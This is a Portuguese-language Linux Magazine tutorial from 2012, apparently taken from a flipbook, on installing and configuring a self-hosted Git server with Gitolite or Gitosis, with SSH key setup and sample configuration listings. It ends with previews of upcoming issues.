Tenha seu próprio servidor Git | TUTORIAL

Tenha seu próprio servidor Git

TUTORIAL

Repositórios sob controle O Git, obra de Linus Torvalds, conquistou os desenvolvedores como gerenciador de versões de código. Conheça duas abordagens para colaboração em grupos de trabalho, onde você pode configurar facilmente seu próprio servidor Git para armazenar seus repositórios. por Oliver Frommel

O

Git [1] é um sistema P2P (plataforma de compartilhamento peer-to-peer ou ponto a ponto), de forma que não é necessário um servidor para utilizá-lo. No entanto, se vo cê está desenvolvendo software ou trabalhando em arquivos pertencentes a um grupo de trabalho, um repositório central do qual possa ser feita uma cópia de segurança é uma boa ideia. Há serviços na Internet que fariam o mesmo trabalho, como o Gitorious [2] ou o onipresente GitHub [3], que são gratuitos para projetos open source. O serviço comercial fornecido pelaGitHub custa de US$25, até US$200 mensais para o serviço Platinum. O Gitorious [4] custa US$99 para que você tenha seu próprio subdomínio. Ao instalar seu próprio servidor Git, você pode contar com diversas abordagens de compartilhamento do conteúdo. As duas mais populares são o Gitolite [5] e o Gitosis [6]. As duas ferramentas estão disponíveis no GitHub. O Gitolite é escrito em Perl e o Gitosis em Python, mas apesar das linguagens diferentes, os

aplicativos são bem similares. Várias distribuições (como Fedora e Ubuntu) incluem os dois programas em seu repositório de pacotes, o que torna a instalação muito fácil. As duas ferramentas usam diferentes métodos de instalação, levando a diferentes passos de configuração. Os requisitos básicos para a configuração de um servidor Git são um diretório para a configuração e repositórios, uma conta de usuário e chaves SSH necessárias para realizar autenticação. O acesso aos repositórios Git sempre depende de SSH, o que significa que os servidores Git não precisam de uma porta separada. Teoricamente, você poderia instalar o Gitosis de forma paralela ao Gitolite, mas com um ID de usuário separado para cada caso.

Gitolite No Ubuntu, o Gitolite instala o pacote, mas não configura o usuário no diretório. No Fedora, quando você completa a instalação de um pacote, você tem um usuário gitolite e um diretório /var/lib/gitolite para os repositórios.

Listagem 1: .ssh/authorized_keys 01 # gitolite start 02 command="/usr/local/bin/gl-auth-command ofrommel", no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-dss AAAAB3NzaC1kc3MAAACBAOvwG6F0D2v2J8d+RsQFwozOqqFAgGkMfDK86TUA 04 ... 05 # gitolite end

Linux Magazine #92 | Julho de 2012

Descreverei como instalá-lo manualmente com uma conta de usuário git e um diretório /home/git. A figura 1 mostra o início da instalação. Como um futuro administrador de um servidor Git, você precisa de uma cópia de sua chave SSH pública (de uma estação de trabalho/computador cliente) para autenticar-se no servidor e deve depositá-la em um diretório acessível pela conta de usuário git (como o diretório tmp): scp .ssh/id_dsa.pub Server:/tmp/ofrommel.pub

Se você não possui um par de chaves SSH, execute o aplicativo ssh-keygen para criar um. No servidor Git, é necessário, em primeiro lugar, baixar o software do GitHub: git clone git://github.com/sitaramc/gitolite

Ainda trabalhando como root, execute o script de instalação, que instala os programas do Gitolite globalmente: # gitolite/src/gl-system-install using default values for EUID=0: /usr/local/bin /var/gitolite/conf /var/gitolite/hooks

Você pode fazer isso como usuário git, mas dessa forma todos os arquivos serão armazenados no diretório deste usuário. Em seguida, você pode usar seu ID de usuário ao digitar su - git

75


TUTORIAL | Tenha seu próprio servidor Git

e então importar sua chave pública SSH para o Gitolite: gl-setup /tmp/ofrommel.pub

Será exibido o arquivo de configuração /home/git/.gitolite.rc novamente. Normalmente, não há problemas em manter as configurações padrão. Agora é possível copiar o repositório de administração do Gitolite para o computador cliente. As tarefas de administração serão padronizadas: edite a configuração localmente e então suba as mudanças para o servidor. O seguinte comando clona o repositório: git clone git@192.168.111.20: gitolite-admin.git

Se a conexão falhar, a configuração do SSH pode estar com algum problema. O arquivo .ssh/authorized_keys, presente no computador do usuário, deve se parecer com a listagem 1. A parte importante é a linha command=. Se tudo funcionar como o esperado, você terá um novo diretório, gitolite-admin, com dois diretórios com os nomes conf e keydir. Em seguida, edite o arquivo conf/ gitolite.conf para criar um novo repositório. Por padrão, ele conterá um repositório de teste: repogitolite-admin RW+= ofrommel repotesting RW+= @all

Você precisa adicionar as chaves públicas para os outros usuários Git (com nomes de arquivo correspondentes) no subdiretório keydir e subir as mudanças como descrito anteriormente. Para mais informações – como, por exemplo, sintaxe dos comandos, vá ao arquivo $HOME/ share/gitolite/conf/example.conf no servidor Git ou no arquivo /var/gitolite/conf/example.conf. Uma terceira opção é fazer buscas no exaustivo wiki do Gitolite [7].

Gitosis O Gitosis funciona basicamente da mesma forma que o Gitolite: é necessário possuir de uma conta de usuário especial com uma configuração SSH para executar os scripts correspondentes. Se sua instalação do Gitosis estiver no Ubuntu, será possível perceber que existe uma conta de usuário gitosis e um diretório /srv/gitosis presentes no sistema. De forma similar ao Gitolite, o Fedora também cria um diretório var/lib/gitosis para o Gitosis, com uma conta de usuário para correspondência. Novamente, vou demonstrar a instalação manual para deixar a abordagem clara. Para começar, obtenha o software Gitosis no repositório GitHub: git clone git://eagain.net/gitosis.git

Ainda trabalhando como usuário root, mude o diretório do Gitosis e execute o comando python setup.py install para instalar os arquivos de forma global. Então, copie sua chave pública para o servidor da mesma forma que foi feito para o Gitolite, mude o usuário (su - git) e continue trabalhando com o usuário git. Instale o Gitosis com os seguintes comandos: gitosis-init < /tmp/ofrommel.pub Initialized empty Git repository in /home/git/repositories/ gitosis-admin.git/ Reinitialized existing Git repository in /home/git/ repositories/gitosis-admin.git/

Se alguma mensagem de erro reclamando de problemas de permissão for exibida, é possível que você esteja trabalhando com o Gitosis no diretório home do usuário root, no qual você não tem permissão de sobrescrever arquivos como um usuário git. Assim como no Gitolite, a administração no Gitosis usa um repositório especial. Você pode incluir um em seu cliente da seguinte forma: git clone git@192.168.111.20: gitosis-admin.git

O diretório gitosis-admin agora contém o arquivo de configuração gitosis.conf e o diretório keydir para as chaves SSH. A configuração, para a qual um grupo de webcoders e um novo repositório de webproject foram

Como você pode observar, somente a conta de usuário ofrommel (dono da chave) leu e acessou o repositório gitolite-admin. Para criar um novo repositório, copie a entrada de teste (ambas as linhas) e modifique seu conteúdo. Feito isso, confirme as mudanças ao digitar o comando git commit -a. O comando git push sobe as mudanças para o servidor, o que confirma que o novo repositório foi criado: Initialized empty Git repository in /home/git/repositories/project.git/

76

Figura 1 Instalação do Gitolite.

www.linuxmagazine.com.br


Tenha seu próprio servidor Git | TUTORIAL

adicionados, pode ser conferida na listagem 2. Em seguida, envie as mudanças para o servidor com o comando commit -a e git push. Para criar um novo projeto, crie um novo diretório chamado webproject. Em seguida, execute os seguintes comandos para iniciar o repositório: git init git remote add origin git@192.168.111.20:webproject.git

[gitosis], insira uma linha com o conteúdo loglevel = DEBUG e então jogue os

resultados no servidor da forma usual. Para mais informações sobre o uso do Git, confira um artigo publicado anteriormente na Linux Magazine [8] ou o livro Pro Git [9], disponível gratuitamente online.

Listagem 2: gitosis.conf

Após adicionar novos arquivos para o diretório, submeta-os ao gerenciador de versão com o comando git add. Para sincronizar o repositório com o servidor para todas as partes, execute novamente o comando:

01 [gitosis] 02 03 group 04 members = ofrommel@admin-magazin.de 05 writable = gitosis-admin 06 07 group 08 members = ofrommel@riker. linux-magazin.de 09 writable = webproject

git push origin master:refs/heads/master

Gostou do artigo? igo?

Se um erro ocorrer com o uso do Gitosis, você pode habilitar mensagens de debug ao abrir o arquivo de configuração gitosis.conf. Na linha

Tem novidade na Coleção Academy!

Queremos ouvir sua opinião. inião. Fale conosco em cartas@linuxmagazine.com.br ne.com. Este artigo no nosso sso site: s http://lnm.com.br/article/7147 r/artic 7147

Se você gostaria de ter uma visão dos seus repositórios em um navegador web, use o Gitweb como uma interface gráfica, embora ele não lhe ofereça o visual interessante do GitHub. ■

Mais informações [1] Git: http://git-scm.com/ [2] Gitorious em código aberto: http://gitorious.org/ [3] GitHub: https://github.com/ [4] Gitorious comercial: http:// gitorious.com/ [5] Gitolite: https://github. com/sitaramc/gitolite [6] Gitosis: https://github. com/res0nat0r/gitosis [7] Wiki do Gitolite: http:// sitaramc.github. com/gitolite/ [8] “Git no controle” por Juliet Kemp, Linux Magazine 68, Junho de 2010, pág. 60 [9] Chacon, Scott, Pro Git. Apress, 2009: http://progit.org/book

Instalação e congifuração de servidores VoIP com Asterisk. Configuração de ramais, extensões, secretária eletrônica, monitoramento e espionagem de chamadas, planos de discagem, URA e muitos outros aspectos que abordam o uso de centrais telefônicas IP PBX. Disponível no site www.LinuxMagazine.com.br

Linux Magazine #92 | Julho de 2012

77



PREVIEW

Linux Magazine #93 Cluster e HPC Computadores em cluster e ambientes de alta disponibilidade já fazem parte da rotina diária do administrador de redes e sistemas. Na próxima edição da Linux Magazine, você vai conferir um pocuo mais sobre o a história dos clusters HPC (High Performance Cluster), também chamados de supercomputadores e vai conhecer ferramentas para monitoramento, fencing (técnica para realizar o isolamento dos nós de um cluster) e prevenção de problemas em ambientes de alta disponibilidade. É imperdível! ■

Admin Magazine #07 Storage Na Admin Magazine #07, vamos falar sobre armazenamento em larga escala, ou seja, storages. Atualmente 10 entre 10 empresas de todos os segmentos utilizam storages para armazenar seus arquivos e programas. Você irá aprender algumas novas técnicas para armazenamento de arquivos em storages. Não perca!

82

www.linuxmagazine.com.br


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.